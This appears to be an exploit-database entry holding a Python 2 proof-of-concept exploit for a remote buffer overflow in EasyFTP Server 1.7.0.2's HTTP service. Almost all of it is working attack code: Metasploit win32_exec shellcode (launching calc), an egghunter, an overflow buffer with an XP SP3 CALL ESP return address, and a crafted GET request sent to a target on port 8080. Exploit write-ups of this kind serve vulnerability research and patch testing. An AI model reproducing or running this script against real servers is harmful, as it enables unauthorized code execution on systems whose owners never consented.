EasyFTP Server 1.7.0.2 – ‘HTTP’ Remote Buffer Overflow
# Exploit Title: Easy~Ftp Server v1.7.0.2 (HTTP) Remote BOF Exploit # Date: 18-02-2010 # Author: ThE g0bL!N # Software Link: http://cdnetworks-us-2.dl.sourceforge.net/project/easyftpsvr/easyftpsvr/1.7.0.2-en/easyftpsvr-1.7.0.2.zip # Code : #!/usr/bin/python import sys import socket import base64 if len(sys.argv) != 4: print "\n****************************************************" print "[*] Easy~Ftp Server v1.7.0.2 (HTTP) Remote BOF Exploit\n" print "[*] Usage : ./sploit.py <target_ip> <user> <password>\n" print "[*] Example : ./sploit.py 192.168.1.3 anonymous w00t\n" print "*****************************************************" sys.exit(0) user = sys.argv[2] pwd = sys.argv[3] auth = base64.b64encode(user+":"+pwd) # win32_exec - EXITFUNC=process CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com shellcode=( "\x44\x7A\x32\x37\x44\x7A\x32\x37" "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49" "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36" "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34" "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41" "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44" "\x42\x50\x42\x30\x42\x30\x4b\x58\x45\x34\x4e\x43\x4b\x38\x4e\x47" "\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x44\x4a\x41\x4b\x48" "\x4f\x45\x42\x52\x41\x30\x4b\x4e\x49\x44\x4b\x58\x46\x53\x4b\x58" "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x59\x4e\x4a\x46\x48\x42\x4c" "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x50\x44\x4c\x4b\x4e" "\x46\x4f\x4b\x53\x46\x45\x46\x32\x46\x30\x45\x37\x45\x4e\x4b\x58" "\x4f\x45\x46\x42\x41\x30\x4b\x4e\x48\x56\x4b\x48\x4e\x30\x4b\x54" "\x4b\x58\x4f\x45\x4e\x41\x41\x50\x4b\x4e\x4b\x48\x4e\x51\x4b\x58" "\x41\x50\x4b\x4e\x49\x58\x4e\x35\x46\x32\x46\x50\x43\x4c\x41\x33" "\x42\x4c\x46\x56\x4b\x48\x42\x54\x42\x43\x45\x58\x42\x4c\x4a\x57" "\x4e\x50\x4b\x58\x42\x54\x4e\x50\x4b\x48\x42\x57\x4e\x51\x4d\x4a" "\x4b\x38\x4a\x56\x4a\x30\x4b\x4e\x49\x30\x4b\x38\x42\x48\x42\x4b" "\x42\x50\x42\x30\x42\x50\x4b\x48\x4a\x36\x4e\x53\x4f\x45\x41\x43" "\x48\x4f\x42\x46\x48\x55\x49\x58\x4a\x4f\x43\x38\x42\x4c\x4b\x57" "\x42\x35\x4a\x56\x50\x57\x4a\x4d\x44\x4e\x43\x37\x4a\x56\x4a\x59" "\x50\x4f\x4c\x58\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x46" "\x4e\x36\x43\x36\x42\x50\x5a") egghunter=( "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74" "\xef\xb8\x44\x7A\x32\x37\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7") buf = "\x61"*268 buf += "\xF0\x69\x83\x7C" #CALL ESP XP SP3 buf += "\x63"*8 buf += egghunter head = "GET /list.html?path="+buf+" HTTP/1.1\r\n" head += "Host: "+shellcode+"\r\n" head += "Authorization: Basic "+auth+"\r\n" try: s = socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect((sys.argv[1],8080)) s.send(head + "\r\n") print "[x] Payload sended waiting for shellcode..." s.close() except: print "Error!" |